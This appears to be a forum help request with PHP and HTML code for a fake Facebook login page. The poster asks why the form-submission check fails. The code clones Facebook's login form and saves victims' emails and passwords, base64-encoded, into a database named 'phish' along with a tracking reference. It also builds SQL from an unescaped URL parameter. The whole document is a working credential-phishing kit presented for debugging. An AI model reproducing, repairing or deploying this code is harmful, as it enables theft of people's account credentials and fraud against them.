My problem is that I need this to submit data to my database. Below is the code that I have tried. The actual problem is that i want to use a if(isset($_POST['login'])) but it doesn't work in this form any ideas ?
Above my html
<?php
session_start();
$_SESSION['ref']=$_GET['ref'];
function login()
{
$host="127.0.0.1:8889";
$user="root";
$pw="root";
$verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken");
}
?>
My form can be found here
<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0"> <tbody>
<tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
<label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3" class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>
Underneath my form you find this
<?php
if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
login();
$db="phish";
mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
mysql_query($sql);
mysql_close($verbinding);
}
}
?>